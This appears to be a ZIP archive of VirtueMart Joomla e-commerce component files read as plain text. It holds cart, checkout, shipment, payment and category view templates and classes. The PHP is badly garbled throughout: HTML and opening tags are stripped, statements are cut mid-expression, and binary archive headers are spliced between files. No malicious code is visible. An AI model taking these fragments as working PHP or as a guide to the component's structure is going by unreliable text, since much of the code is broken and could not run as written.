          virtuemart_media_id) { ?> image)) { echo $prow->image->displayMediaThumb ('', FALSE); } ?> url, $prow->product_name) . $prow->customfields; ?> product_sku ?> cart->pricesUnformatted[$pkey]['discountedPriceWithoutTax'] != $this->cart->pricesUnformatted[$pkey]['priceWithoutTax']) { echo '' . $this->currencyDisplay->createPriceDiv ('basePriceVariant', '', $this->cart->pricesUnformatted[$pkey], TRUE, FALSE) . '
          '; } if ($this->cart->pricesUnformatted[$pkey]['discountedPriceWithoutTax']) { echo $this->currencyDisplay->createPriceDiv ('discountedPriceWithoutTax', '', $this->cart->pricesUnformatted[$pkey], FALSE, FALSE); } else { echo $this->currencyDisplay->createPriceDiv ('basePriceVariant', '', $this->cart->pricesUnformatted[$pkey], FALSE, FALSE); } // echo $prow->salesPrice ; ?>
          min_order_level; if ($prow->step_order_level) $step=$prow->step_order_level; else $step=1; if($step==0) $step=1; $alert=JText::sprintf ('COM_VIRTUEMART_WRONG_AMOUNT_ADDED', $step); ?> " . $this->currencyDisplay->createPriceDiv ('taxAmount', '', $this->cart->pricesUnformatted[$pkey], FALSE, FALSE, $prow->quantity) . "" ?> " . $this->currencyDisplay->createPriceDiv ('discountAmount', '', $this->cart->pricesUnformatted[$pkey], FALSE, FALSE, $prow->quantity) . "" ?> cart->pricesUnformatted[$pkey]['basePriceWithTax']) && $this->cart->pricesUnformatted[$pkey]['basePriceWithTax'] != $this->cart->pricesUnformatted[$pkey]['salesPrice']) { echo '' . $this->currencyDisplay->createPriceDiv ('basePriceWithTax', '', $this->cart->pricesUnformatted[$pkey], TRUE, FALSE, $prow->quantity) . '
          '; } elseif (VmConfig::get ('checkout_show_origprice', 1) && empty($this->cart->pricesUnformatted[$pkey]['basePriceWithTax']) && $this->cart->pricesUnformatted[$pkey]['basePriceVariant'] != $this->cart->pricesUnformatted[$pkey]['salesPrice']) { echo '' . $this->currencyDisplay->createPriceDiv ('basePriceVariant', '', $this->cart->pricesUnformatted[$pkey], TRUE, FALSE, $prow->quantity) . '
          '; } echo $this->currencyDisplay->createPriceDiv ('salesPrice', '', $this->cart->pricesUnformatted[$pkey], FALSE, FALSE, $prow->quantity) ?>
           
          " . $this->currencyDisplay->createPriceDiv ('taxAmount', '', $this->cart->pricesUnformatted, FALSE) . "" ?> " . $this->currencyDisplay->createPriceDiv ('discountAmount', '', $this->cart->pricesUnformatted, FALSE) . "" ?> currencyDisplay->createPriceDiv ('salesPrice', '', $this->cart->pricesUnformatted, FALSE) ?>
          layoutName) && $this->layoutName == 'default') { // echo JHTML::_('link', JRoute::_('index.php?view=cart&task=edit_coupon',$this->useXHTML,$this->useSSL), JText::_('COM_VIRTUEMART_CART_EDIT_COUPON')); echo $this->loadTemplate ('coupon'); } ?> cart->cartData['couponCode'])) { ?> cart->cartData['couponCode']; echo $this->cart->cartData['couponDescr'] ? (' (' . $this->cart->cartData['couponDescr'] . ')') : ''; ?> currencyDisplay->createPriceDiv ('couponTax', '', $this->cart->pricesUnformatted['couponTax'], FALSE); ?> currencyDisplay->createPriceDiv ('salesPriceCoupon', '', $this->cart->pricesUnformatted['salesPriceCoupon'], FALSE); ?>  
          currencyDisplay->createPriceDiv ($rule['virtuemart_calc_id'] . 'Diff', '', $this->cart->pricesUnformatted[$rule['virtuemart_calc_id'] . 'Diff'], FALSE); ?> currencyDisplay->createPriceDiv ($rule['virtuemart_calc_id'] . 'Diff', '', $this->cart->pricesUnformatted[$rule['virtuemart_calc_id'] . 'Diff'], FALSE); ?>
          currencyDisplay->createPriceDiv ($rule['virtuemart_calc_id'] . 'Diff', '', $this->cart->pricesUnformatted[$rule['virtuemart_calc_id'] . 'Diff'], FALSE); ?> currencyDisplay->createPriceDiv ($rule['virtuemart_calc_id'] . 'Diff', '', $this->cart->pricesUnformatted[$rule['virtuemart_calc_id'] . 'Diff'], FALSE); ?>
          currencyDisplay->createPriceDiv ($rule['virtuemart_calc_id'] . 'Diff', '', $this->cart->pricesUnformatted[$rule['virtuemart_calc_id'] . 'Diff'], FALSE); ?> currencyDisplay->createPriceDiv ($rule['virtuemart_calc_id'] . 'Diff', '', $this->cart->pricesUnformatted[$rule['virtuemart_calc_id'] . 'Diff'], FALSE); ?>
          cart->cartData['shipmentName']; ?>
          layoutName) && $this->layoutName == 'default' && !$this->cart->automaticSelectedShipment) { if (VmConfig::get('oncheckout_opc', 1)) { $previouslayout = $this->setLayout('select'); echo $this->loadTemplate('shipment'); $this->setLayout($previouslayout); } else { echo JHTML::_('link', JRoute::_('index.php?view=cart&task=edit_shipment', $this->useXHTML, $this->useSSL), $this->select_shipment_text, 'class=""'); } } else { echo JText::_ ('COM_VIRTUEMART_CART_SHIPPING'); }?>
          cart->cartData['shipmentName']; ?> " . $this->currencyDisplay->createPriceDiv ('shipmentTax', '', $this->cart->pricesUnformatted['shipmentTax'], FALSE) . ""; ?> cart->pricesUnformatted['salesPriceShipment'] < 0) echo $this->currencyDisplay->createPriceDiv ('salesPriceShipment', '', $this->cart->pricesUnformatted['salesPriceShipment'], FALSE); ?> currencyDisplay->createPriceDiv ('salesPriceShipment', '', $this->cart->pricesUnformatted['salesPriceShipment'], FALSE); ?>
          cart->cartData['paymentName']; ?>
          layoutName) && $this->layoutName == 'default') { if (VmConfig::get('oncheckout_opc', 1)) { $previouslayout = $this->setLayout('select'); echo $this->loadTemplate('payment'); $this->setLayout($previouslayout); } else { echo JHTML::_('link', JRoute::_('index.php?view=cart&task=editpayment', $this->useXHTML, $this->useSSL), $this->select_payment_text, 'class=""'); } } else { echo JText::_ ('COM_VIRTUEMART_CART_PAYMENT'); } ?>
          cart->cartData['paymentName']; ?> " . $this->currencyDisplay->createPriceDiv ('paymentTax', '', $this->cart->pricesUnformatted['paymentTax'], FALSE) . ""; ?> cart->pricesUnformatted['salesPricePayment'] < 0) echo $this->currencyDisplay->createPriceDiv ('salesPricePayment', '', $this->cart->pricesUnformatted['salesPricePayment'], FALSE); ?> currencyDisplay->createPriceDiv ('salesPricePayment', '', $this->cart->pricesUnformatted['salesPricePayment'], FALSE); ?>
           
          : " . $this->currencyDisplay->createPriceDiv ('billTaxAmount', '', $this->cart->pricesUnformatted['billTaxAmount'], FALSE) . "" ?> " . $this->currencyDisplay->createPriceDiv ('billDiscountAmount', '', $this->cart->pricesUnformatted['billDiscountAmount'], FALSE) . "" ?>
          currencyDisplay->createPriceDiv ('billTotal', '', $this->cart->pricesUnformatted['billTotal'], FALSE); ?>
          : totalInPaymentCurrency; ?>
          PKtl>\n՗ Scom_virtuemart_update/components/com_virtuemart/views/cart/tmpl/select_shipment.phpnuW+A' . JText::_('COM_VIRTUEMART_USER_FORM_CART_STEP2') . ''; } if ($this->layoutName!='default') { $headerLevel = 1; if($this->cart->getInCheckOut()){ $buttonclass = 'button vm-button-correct'; } else { $buttonclass = 'default'; } ?>
          ".JText::_('COM_VIRTUEMART_CART_SELECT_SHIPMENT').""; ?>
            layoutName!='default') { ?>
          found_shipment_method ) { echo "
          \n"; // if only one Shipment , should be checked by default foreach ($this->shipments_shipment_rates as $shipment_shipment_rates) { if (is_array($shipment_shipment_rates)) { foreach ($shipment_shipment_rates as $shipment_shipment_rate) { echo $shipment_shipment_rate."
          \n"; } } } echo "
          \n"; } else { echo "".$this->shipment_not_found_text.""; } if ($this->layoutName!='default') { ?>
          PKtl>\hZWcom_virtuemart_update/components/com_virtuemart/views/cart/tmpl/default_shopperform.phpnuW+A

          getUserList(); $currentUser = $this->cart->user->_data->virtuemart_user_id; echo JHTML::_('Select.genericlist', $userList, 'userID', 'class="vm-chzn-select" style="width: 200px"', 'id', 'displayedName', $currentUser); $adminID = JFactory::getSession()->get('vmAdminID'); $instance = JFactory::getUser(); ?> id != $adminID) { ?> name; ?>

          PKtl>\Rcom_virtuemart_update/components/com_virtuemart/views/cart/tmpl/default_coupon.phpnuW+AlayoutName!='default') { ?>
          layoutName!='default') { ?>
          PKtl>\)Icom_virtuemart_update/components/com_virtuemart/views/cart/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\ҰkؽJcom_virtuemart_update/components/com_virtuemart/views/cart/tmpl/perror.phpnuW+A' . $this->cart->getError() . '

          '; echo '' . JText::_('COM_VIRTUEMART_CONTINUE_SHOPPING') . ''; echo '
          '.$this->errorMsg.'
          '; ?>
          PKtl>\&_Tcom_virtuemart_update/components/com_virtuemart/views/cart/tmpl/shopper_adresses.phpnuW+A
          BTaddress['fields'] as $item){ if(!empty($item['value'])){ echo $item['title'].': '.$this->escape($item['value']).'
          '; } } ?>
          STaddress['fields'])){ foreach($this->STaddress['fields'] as $item){ if(!empty($item['value'])){ echo $item['title'].': '.$this->escape($item['value']).'
          '; } } } else { foreach($this->BTaddress['fields'] as $item){ if(!empty($item['value'])){ echo $item['title'].': '.$this->escape($item['value']).'
          '; } } } ?>
          PKtl>\g/J@@Kcom_virtuemart_update/components/com_virtuemart/views/cart/tmpl/default.phpnuW+A "; } else { vmJsApi::js ('facebox'); vmJsApi::css ('facebox'); $box = " // "; } JHtml::_ ('behavior.formvalidation'); $document = JFactory::getDocument (); $document->addScriptDeclaration ($box); $document->addScriptDeclaration (" // "); $document->addScriptDeclaration (" // "); $document->addStyleDeclaration ('#facebox .content {display: block !important; height: 480px !important; overflow: auto; width: 560px !important; }'); ?>

          checkout_task === 'confirm') { vmdebug ('checkout_task', $this->checkout_task); echo '
          ' . JText::_ ('COM_VIRTUEMART_USER_FORM_CART_STEP4') . '
          '; } ?>
          continue_link_html)) { echo $this->continue_link_html; } ?>
          cart, FALSE); // This displays the form to change the current shopper $adminID = JFactory::getSession()->get('vmAdminID'); if ((JFactory::getUser()->authorise('core.admin', 'com_virtuemart') || JFactory::getUser($adminID)->authorise('core.admin', 'com_virtuemart')) && (VmConfig::get ('oncheckout_change_shopper', 0))) { echo $this->loadTemplate ('shopperform'); } if ($this->checkout_task) { $taskRoute = '&task=' . $this->checkout_task; } else { $taskRoute = ''; } ?>
          loadTemplate ('pricelist'); // added in 2.0.8 ?>
          checkoutAdvertise)) { foreach ($this->checkoutAdvertise as $checkoutAdvertise) { ?>

          getIfRequired ('agreed')) { if (!class_exists ('VmHtml')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } echo VmHtml::checkbox ('tosAccepted', $this->cart->tosAccepted, 1, 0, 'class="terms-of-service"'); if (VmConfig::get ('oncheckout_show_legal_info', 1)) { ?>

          cart->vendor->vendor_terms_of_service; ?>
          checkout_link_html; ?>
          PKtl>\-kkKcom_virtuemart_update/components/com_virtuemart/views/cart/tmpl/default.xmlnuW+A COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE PKtl>\ ,I I Rcom_virtuemart_update/components/com_virtuemart/views/cart/tmpl/select_payment.phpnuW+A' . JText::_('COM_VIRTUEMART_USER_FORM_CART_STEP3') . ''; } if ($this->layoutName!='default') { $headerLevel = 1; if($this->cart->getInCheckOut()){ $buttonclass = 'button vm-button-correct'; } else { $buttonclass = 'default'; } ?>
          ".JText::_('COM_VIRTUEMART_CART_SELECT_PAYMENT').""; ?>
            layoutName!='default') { ?>
          found_payment_method) { echo "
          "; foreach ($this->paymentplugins_payments as $paymentplugin_payments) { if (is_array($paymentplugin_payments)) { foreach ($paymentplugin_payments as $paymentplugin_payment) { echo $paymentplugin_payment.'
          '; } } } echo "
          "; } else { echo "

          ".$this->payment_not_found_text."

          "; } if ($this->layoutName!='default') { ?>
          PKtl>\KMcom_virtuemart_update/components/com_virtuemart/views/cart/tmpl/mini_cart.phpnuW+A
          PKtl>\#o,,Jcom_virtuemart_update/components/com_virtuemart/views/cart/tmpl/index.htmlnuW+APKtl>\66Jcom_virtuemart_update/components/com_virtuemart/views/cart/tmpl/padded.phpnuW+Acontinue_link . '" >' . JText::_('COM_VIRTUEMART_CONTINUE_SHOPPING') . ''; echo '' . JText::_('COM_VIRTUEMART_CART_SHOW') . ''; if($this->products){ foreach($this->products as $product){ echo '

          '.JText::sprintf('COM_VIRTUEMART_CART_PRODUCT_ADDED',$product->product_name,$product->quantity).'

          '; } } if ($this->errorMsg) echo '
          '.$this->errorMsg.'
          '; if(VmConfig::get('popup_rel',1)){ if($this->products and !empty($this->products[0]->customfieldsRelatedProducts)){ ?>
          PKtl>\xNcom_virtuemart_update/components/com_virtuemart/views/cart/tmpl/order_done.phpnuW+Adisplay_title) { echo "

          ".JText::_('COM_VIRTUEMART_CART_ORDERDONE_THANK_YOU')."

          "; } echo $this->html; PKtl>\#o,,Ecom_virtuemart_update/components/com_virtuemart/views/cart/index.htmlnuW+APKtl>\n Hcom_virtuemart_update/components/com_virtuemart/views/cart/view.json.phpnuW+AgetLayout(); if (!$layoutName) $layoutName = JRequest::getWord('layout', 'default'); $this->assignRef('layoutName', $layoutName); $format = JRequest::getWord('format'); if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); $this->assignRef('cart', $cart); $this->prepareContinueLink(); shopFunctionsF::setVmTemplate($this, 0, 0, $layoutName); parent::display($tpl); } private function prepareContinueLink() { // Get a continue link $menuid = JRequest::getInt('Itemid',''); if(!empty($menuid)){ $menuid = '&Itemid='.$menuid; } else $menuid = ''; $virtuemart_category_id = shopFunctionsF::getLastVisitedCategoryId(); $categoryLink = ''; if ($virtuemart_category_id) { $categoryLink = '&virtuemart_category_id=' . $virtuemart_category_id; } $continue_link = JRoute::_('index.php?option=com_virtuemart&view=category' . $categoryLink.$menuid, FALSE); $continue_link_html = '' . JText::_('COM_VIRTUEMART_CONTINUE_SHOPPING') . ''; $this->assignRef('continue_link_html', $continue_link_html); $this->assignRef('continue_link', $continue_link); $cart_link = JRoute::_('index.php?option=com_virtuemart&view=cart'.$menuid, FALSE); $this->assignRef('cart_link', $cart_link); } } //no closing tag PKtl>\Ͻ11Ocom_virtuemart_update/components/com_virtuemart/views/category/tmpl/default.phpnuW+Acategory',$this->category); //vmdebug ('$this->category ' . $this->category->category_name); // Check to ensure this file is included in Joomla! defined ('_JEXEC') or die('Restricted access'); JHTML::_ ('behavior.modal'); /* javascript for list Slide Only here for the order list can be changed by the template maker */ $js = " jQuery(document).ready(function () { jQuery('.orderlistcontainer').hover( function() { jQuery(this).find('.orderlist').stop().show()}, function() { jQuery(this).find('.orderlist').stop().hide()} ) }); "; $document = JFactory::getDocument (); $document->addScriptDeclaration ($js); if (empty($this->keyword) and !empty($this->category)) { ?>
          category->category_description; ?>
          keyword)) { if (!empty($this->category->haschildren)) { // Category and Columns Counter $iCol = 1; $iCategory = 1; // Calculating Categories Per Row $categories_per_row = VmConfig::get ('categories_per_row', 3); $category_cellwidth = ' width' . floor (100 / $categories_per_row); // Separator $verticalseparator = " vertical-separator"; ?>
          category->children)) { foreach ($this->category->children as $category) { // Show the horizontal seperator if ($iCol == 1 && $iCategory > $categories_per_row) { ?>
          keyword)) { ?>

          keyword; ?>

          keyword)) { $category_id = JRequest::getInt ('virtuemart_category_id', 0); ?>
          products)) { ?>
          orderByList['orderby']; ?> orderByList['manufacturer']; ?>
          vmPagination->getResultsCounter ();?>
          vmPagination->getLimitBox ($this->category->limit_list_step); ?>
          vmPagination->getPagesLinks (); ?> vmPagination->getPagesCounter (); ?>

          category->category_name; ?>

          perRow; $Browsecellwidth = ' width' . floor (100 / $BrowseProducts_per_row); // Separator $verticalseparator = " vertical-separator"; $BrowseTotalProducts = count($this->products); // Start the Output foreach ($this->products as $product) { // Show the horizontal seperator if ($iBrowseCol == 1 && $iBrowseProduct > $BrowseProducts_per_row) { ?>
          images[0]->displayMediaThumb('class="browseProductImage"', false); ?> showRating) { $maxrating = VmConfig::get('vm_maximum_rating_scale', 5); if (empty($product->rating)) { ?> rating * 12; //I don't use round as percetntage with works perfect, as for me ?> rating) . '/' . $maxrating; ?>
          rating) . '/' . $maxrating) ?>" class="category-ratingbox" style="display:inline-block;">

          link, $product->product_name); ?>

          product_s_desc)) { ?>

          product_s_desc, 40, '...') ?>

          show_prices == '1') { if ($product->prices['salesPrice']<=0 and VmConfig::get ('askprice', 1) and !$product->images[0]->file_is_downloadable) { echo JText::_ ('COM_VIRTUEMART_PRODUCT_ASKPRICE'); } //todo add config settings if ($this->showBasePrice) { echo $this->currency->createPriceDiv ('basePrice', 'COM_VIRTUEMART_PRODUCT_BASEPRICE', $product->prices); echo $this->currency->createPriceDiv ('basePriceVariant', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT', $product->prices); } echo $this->currency->createPriceDiv ('variantModification', 'COM_VIRTUEMART_PRODUCT_VARIANT_MOD', $product->prices); if (round($product->prices['basePriceWithTax'],$this->currency->_priceConfig['salesPrice'][1]) != $product->prices['salesPrice']) { echo '
          ' . $this->currency->createPriceDiv ('basePriceWithTax', 'COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX', $product->prices) . "
          "; } if (round($product->prices['salesPriceWithDiscount'],$this->currency->_priceConfig['salesPrice'][1]) != $product->prices['salesPrice']) { echo $this->currency->createPriceDiv ('salesPriceWithDiscount', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT', $product->prices); } echo $this->currency->createPriceDiv ('salesPrice', 'COM_VIRTUEMART_PRODUCT_SALESPRICE', $product->prices); if ($product->prices['discountedPriceWithoutTax'] != $product->prices['priceWithoutTax']) { echo $this->currency->createPriceDiv ('discountedPriceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $product->prices); } else { echo $this->currency->createPriceDiv ('priceWithoutTax', 'COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX', $product->prices); } echo $this->currency->createPriceDiv ('discountAmount', 'COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT', $product->prices); echo $this->currency->createPriceDiv ('taxAmount', 'COM_VIRTUEMART_PRODUCT_TAX_AMOUNT', $product->prices); $unitPriceDescription = JText::sprintf ('COM_VIRTUEMART_PRODUCT_UNITPRICE', $product->product_unit); echo $this->currency->createPriceDiv ('unitPrice', $unitPriceDescription, $product->prices); } ?>

          link, JText::_ ('COM_VIRTUEMART_PRODUCT_DETAILS'), array('title' => $product->product_name, 'class' => 'product-details')); ?>

          products as $product ) // Do we need a final closing row tag? if ($iBrowseCol != 1) { ?>
          vmPagination->getPagesLinks (); ?>vmPagination->getPagesCounter (); ?>
          keyword)) { echo JText::_ ('COM_VIRTUEMART_NO_RESULT') . ($this->keyword ? ' : (' . $this->keyword . ')' : ''); } ?>
          PKtl>\Ocom_virtuemart_update/components/com_virtuemart/views/category/tmpl/default.xmlnuW+A COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE
          PKtl>\#o,,Ncom_virtuemart_update/components/com_virtuemart/views/category/tmpl/index.htmlnuW+APKtl>\)Mcom_virtuemart_update/components/com_virtuemart/views/category/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\/GO O Rcom_virtuemart_update/components/com_virtuemart/views/category/tmpl/categories.phpnuW+Acategory->haschildren) { // Category and Columns Counter $iCol = 1; $iCategory = 1; // Calculating Categories Per Row $categories_per_row = VmConfig::get ( 'categories_per_row', 3 ); $category_cellwidth = ' width'.floor ( 100 / $categories_per_row ); // Separator $verticalseparator = " vertical-separator"; ?>
          category->children ) { foreach ( $this->category->children as $category ) { // Show the horizontal seperator if ($iCol == 1 && $iCategory > $categories_per_row) { ?>
          PKtl>\#o,,Icom_virtuemart_update/components/com_virtuemart/views/category/index.htmlnuW+APKtl>\|Z%3%3Lcom_virtuemart_update/components/com_virtuemart/views/category/view.html.phpnuW+AassignRef('show_prices', $show_prices); if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); // add javascript for price and cart, need even for quantity buttons, so we need it almost anywhere vmJsApi::jPrice(); $document = JFactory::getDocument(); $app = JFactory::getApplication(); $pathway = $app->getPathway(); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); $categoryModel = VmModel::getModel('category'); $productModel = VmModel::getModel('product'); // set search and keyword if ($keyword = vRequest::uword('keyword', false, ' ,-,+,.,_')) { $pathway->addItem($keyword); //$title .=' ('.$keyword.')'; } //$search = vRequest::uword('keyword', null); $this->searchcustom = ''; $this->searchcustomvalues = ''; if (!empty($keyword)) { $this->searchcustom = $this->getSearchCustom(); $search = $keyword; } else { $keyword =''; $search = NULL; } $this->assignRef('search', $search); $this->assignRef('keyword', $keyword); $categoryId = JRequest::getInt('virtuemart_category_id', -1); $virtuemart_manufacturer_id = JRequest::getInt('virtuemart_manufacturer_id', -1 ); if ($categoryId === -1 and $virtuemart_manufacturer_id === -1){ $categoryId = ShopFunctionsF::getLastVisitedCategoryId(); } $this->setCanonicalLink($tpl,$document,$categoryId,$virtuemart_manufacturer_id); if ($categoryId === -1 and $virtuemart_manufacturer_id){ $categoryId = 0; $catType = 'manufacturer'; $this->setCanonicalLink($tpl,$document,$virtuemart_manufacturer_id,$catType); } if($categoryId!==-1){ $vendorId = 1; $category = $categoryModel->getCategory($categoryId); } if(!empty($category)){ if(empty($category->category_layout) or $category->category_layout != 'categories') { // Load the products in the given category $ids = $productModel->sortSearchListQuery (TRUE, $categoryId); $perRow = empty($category->products_per_row)? VmConfig::get('products_per_row',3):$category->products_per_row; $this->assignRef('perRow', $perRow); $pagination = $productModel->getPagination($perRow); $this->assignRef('vmPagination', $pagination); $ratingModel = VmModel::getModel('ratings'); $showRating = $ratingModel->showRating(); $productModel->withRating = $showRating; $this->assignRef('showRating', $showRating); $products = $productModel->getProducts ($ids); //$products = $productModel->getProductsInCategory($categoryId); $productModel->addImages($products,1); $this->assignRef('products', $products); if ($products) { $currency = CurrencyDisplay::getInstance( ); $this->assignRef('currency', $currency); foreach($products as $product){ $product->stock = $productModel->getStockIndicator($product); } } $orderByList = $productModel->getOrderByList($categoryId); $this->assignRef('orderByList', $orderByList); // Add feed links if ($products && VmConfig::get('feed_cat_published', 0)==1) { $link = '&format=feed&limitstart='; $attribs = array('type' => 'application/rss+xml', 'title' => 'RSS 2.0'); $document->addHeadLink(JRoute::_($link . '&type=rss', FALSE), 'alternate', 'rel', $attribs); $attribs = array('type' => 'application/atom+xml', 'title' => 'Atom 1.0'); $document->addHeadLink(JRoute::_($link . '&type=atom', FALSE), 'alternate', 'rel', $attribs); } if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $showBasePrice = Permissions::getInstance()->check('admin'); //todo add config settings $this->assignRef('showBasePrice', $showBasePrice); } //No redirect here, for category id = 0 means show ALL categories! note by Max Milbers if ((!empty($categoryId) and $categoryId!==-1 ) and (empty($category->slug) or !$category->published)) { if(empty($category->slug)){ vmInfo(JText::_('COM_VIRTUEMART_CAT_NOT_FOUND')); } else { if($category->virtuemart_id!==0 and !$category->published){ vmInfo('COM_VIRTUEMART_CAT_NOT_PUBL',$category->category_name,$categoryId); } } //Fallback $categoryLink = ''; if ($category->category_parent_id) { $categoryLink = '&view=category&virtuemart_category_id=' .$category->category_parent_id; } else { $last_category_id = shopFunctionsF::getLastVisitedCategoryId(); if (!$last_category_id or $categoryId == $last_category_id) { $last_category_id = JRequest::getInt('virtuemart_category_id', false); } if ($last_category_id and $categoryId != $last_category_id) { $categoryLink = '&view=category&virtuemart_category_id=' . $last_category_id; } } if (VmConfig::get('handle_404',1)) { $app->redirect(JRoute::_('index.php?option=com_virtuemart' . $categoryLink . '&error=404', FALSE)); } else { JError::raise(E_ERROR,'404','Not found'); } return; } shopFunctionsF::setLastVisitedCategoryId($categoryId); shopFunctionsF::setLastVisitedManuId($virtuemart_manufacturer_id); // Add the category name to the pathway if ($category->parents) { foreach ($category->parents as $c){ $pathway->addItem(strip_tags($c->category_name),JRoute::_('index.php?option=com_virtuemart&view=category&virtuemart_category_id='.$c->virtuemart_category_id, FALSE)); } } $categoryModel->addImages($category,1); if($category->category_layout == 'categories' or ($categoryId >0 and $virtuemart_manufacturer_id <1)){ $category->children = $categoryModel->getChildCategoryList( $vendorId, $categoryId, $categoryModel->getDefaultOrdering(), $categoryModel->_selectedOrderingDir ); $categoryModel->addImages($category->children,1); } else { $category->children = false; } if (VmConfig::get('enable_content_plugin', 0)) { shopFunctionsF::triggerContentPlugin($category, 'category','category_description'); } if ($category->metadesc) { $document->setDescription( $category->metadesc ); } if ($category->metakey) { $document->setMetaData('keywords', $category->metakey); } if ($category->metarobot) { $document->setMetaData('robots', $category->metarobot); } if ($app->getCfg('MetaAuthor') == '1') { $document->setMetaData('author', $category->metaauthor); } if(empty($category->category_template)){ $category->category_template = VmConfig::get('categorytemplate'); } $menus = $app->getMenu(); $menu = $menus->getActive(); if(!empty($menu->query['categorylayout']) and $menu->query['virtuemart_category_id']==$categoryId){ $category->category_layout = $menu->query['categorylayout']; } shopFunctionsF::setVmTemplate($this,$category->category_template,0,$category->category_layout); } else { //Backward compatibility if(!isset($category)) { $category = new stdClass(); $category->category_name = ''; $category->category_description= ''; $category->haschildren= false; } } $this->assignRef('category', $category); // Set the titles if (!empty($category->customtitle)) { $title = strip_tags($category->customtitle); } elseif (!empty($category->category_name)) { $title = strip_tags($category->category_name); } else { $title = $this->setTitleByJMenu($app); } if(JRequest::getInt('error')){ $title .=' '.JText::_('COM_VIRTUEMART_PRODUCT_NOT_FOUND'); } if(!empty($keyword)){ $title .=' ('.$keyword.')'; } if ($virtuemart_manufacturer_id>0 and !empty($products[0])) $title .=' '.$products[0]->mf_name ; $document->setTitle( $title ); // Override Category name when viewing manufacturers products !IMPORTANT AFTER page title. if ($virtuemart_manufacturer_id>0 and !empty($products[0]) and isset($category->category_name)) $category->category_name =$products[0]->mf_name ; if ($app->getCfg('MetaTitle') == '1') { $document->setMetaData('title', $title); } parent::display($tpl); } public function setTitleByJMenu($app){ $menus = $app->getMenu(); $menu = $menus->getActive(); $title = 'VirtueMart Category View'; if ($menu) $title = $menu->title; // $title = $this->params->get('page_title', ''); // Check for empty title and add site name if param is set if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } return $title; } public function setCanonicalLink($tpl,$document,$categoryId,$manId){ // Set Canonic link if (!empty($tpl)) { $format = $tpl; } else { $format = JRequest::getWord('format', 'html'); } if ($format == 'html') { $link = 'index.php?option=com_virtuemart&view=category'; if($categoryId!==-1){ $link .= '&virtuemart_category_id='.$categoryId; } if($manId!==-1){ $link .= '&virtuemart_manufacturer_id='.$manId; } $document->addHeadLink( JRoute::_($link, FALSE) , 'canonical', 'rel', '' ); } } /* * generate custom fields list to display as search in FE */ public function getSearchCustom() { $emptyOption = array('virtuemart_custom_id' =>0, 'custom_title' => JText::_('COM_VIRTUEMART_LIST_EMPTY_OPTION')); $this->_db =JFactory::getDBO(); $this->_db->setQuery('SELECT `virtuemart_custom_id`, `custom_title` FROM `#__virtuemart_customs` WHERE `field_type` ="P"'); $this->options = $this->_db->loadAssocList(); if ($this->custom_parent_id = JRequest::getInt('custom_parent_id', 0)) { $this->_db->setQuery('SELECT `virtuemart_custom_id`, `custom_title` FROM `#__virtuemart_customs` WHERE custom_parent_id='.$this->custom_parent_id); $this->selected = $this->_db->loadObjectList(); $this->searchCustomValues =''; foreach ($this->selected as $selected) { $this->_db->setQuery('SELECT `custom_value` as virtuemart_custom_id,`custom_value` as custom_title FROM `#__virtuemart_product_customfields` WHERE virtuemart_custom_id='.$selected->virtuemart_custom_id); $valueOptions= $this->_db->loadAssocList(); $valueOptions = array_merge(array($emptyOption), $valueOptions); $this->searchCustomValues .= JText::_($selected->custom_title).' '.JHTML::_('select.genericlist', $valueOptions, 'customfields['.$selected->virtuemart_custom_id.']', 'class="inputbox"', 'virtuemart_custom_id', 'custom_title', 0); } } // add search for declared plugins JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); $plgDisplay = $dispatcher->trigger('plgVmSelectSearchableCustom',array( &$this->options,&$this->searchCustomValues,$this->custom_parent_id ) ); if(!empty($this->options)){ $this->options = array_merge(array($emptyOption), $this->options); // render List of available groups vmJsApi::chosenDropDowns(); $this->searchCustomList = JText::_('COM_VIRTUEMART_SET_PRODUCT_TYPE').' '.JHTML::_('select.genericlist',$this->options, 'custom_parent_id', 'class="inputbox vm-chzn-select"', 'virtuemart_custom_id', 'custom_title', $this->custom_parent_id); } else { $this->searchCustomList = ''; } //$this->assignRef('searchcustom', $this->searchCustomList); //$this->assignRef('searchcustomvalues', $this->searchCustomValues); } } //no closing tagPKtl>\)Hcom_virtuemart_update/components/com_virtuemart/views/category/.htaccessnuW+A Order allow,deny Deny from all PKtl>\ZLcom_virtuemart_update/components/com_virtuemart/views/category/view.feed.phpnuW+AgetProductsInCategory ($categoryId); if ($feed_show_images == 1) { $productModel->addImages ($products, 1); } if ($products && $feed_show_prices == 1) { $currency = CurrencyDisplay::getInstance (); } foreach ($products as $product) { $title = $this->escape ($product->product_name); $title = html_entity_decode ($title, ENT_COMPAT, 'UTF-8'); $description = ""; if ($feed_show_images == 1) { $effect = " "; $return = true; $withDescr = false; $absUrl = true; $description = $product->images[0]->displayMediaThumb ('style="margin-right: 10px; margin-bottom: 10px; float: left;"', false, $effect, $return, $withDescr, $absUrl); } if ($feed_show_description == 1) { if ($feed_description_type == 'product_s_desc') { $description .= $product->product_s_desc; } else { if ( $feed_max_text_length > 0) { $description .= shopFunctionsF::limitStringByWord ($product->product_desc, $feed_max_text_length); } else { $description .= $product->product_desc; } } } if ($feed_show_prices == 